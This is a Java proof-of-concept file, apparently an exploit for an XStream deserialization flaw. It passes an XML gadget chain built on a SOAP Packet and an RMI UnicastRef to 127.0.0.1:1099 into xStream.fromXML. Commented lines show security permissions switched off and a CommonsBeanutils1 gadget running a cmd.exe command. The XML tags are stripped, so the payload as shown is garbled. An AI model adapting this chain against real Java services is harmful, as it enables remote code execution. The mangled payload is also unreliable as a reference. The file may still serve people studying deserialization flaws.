import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.StaxDriver; import com.thoughtworks.xstream.security.AnyTypePermission; public class exp { public static void main(String[] args ) throws Exception{ XStream xStream = new XStream(new StaxDriver()); //XStream.setupDefaultSecurity(xStream); //xStream.allowTypes(new String[]{".*"}); //xStream.addPermission(AnyTypePermission.ANY); String xml=" \n" + " \n" + " \n" + " \n" + " 2 \n" + " \n" + " 3 \n" + " \n" + " 12345 \n" + " \n" + " com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content \n" + " \n" + " \n" + " \n" + " 12345 \n" + " \n" + " \n" + " true \n" + " SOAP_11 \n" + " \n" + " \n" + " false \n" + " \n" + " \n" + " \n" + " \n" + " aa \n" + " aa \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " UnicastRef \n" + " 127.0.0.1 \n" + " 1099 \n" + " 0 \n" + " 0 \n" + " 0 \n" + " 0 \n" + " false \n" + " \n" + " \n" + " 127.0.0.1 \n" + " 1099 \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " "; xStream.fromXML(xml); //CommonsBeanutils1 cb = new CommonsBeanutils1(); //String xml = xStream.toXML(cb.getObject("cmd.exe /c echo 111>99999999.txt")); System.out.println(xml); } }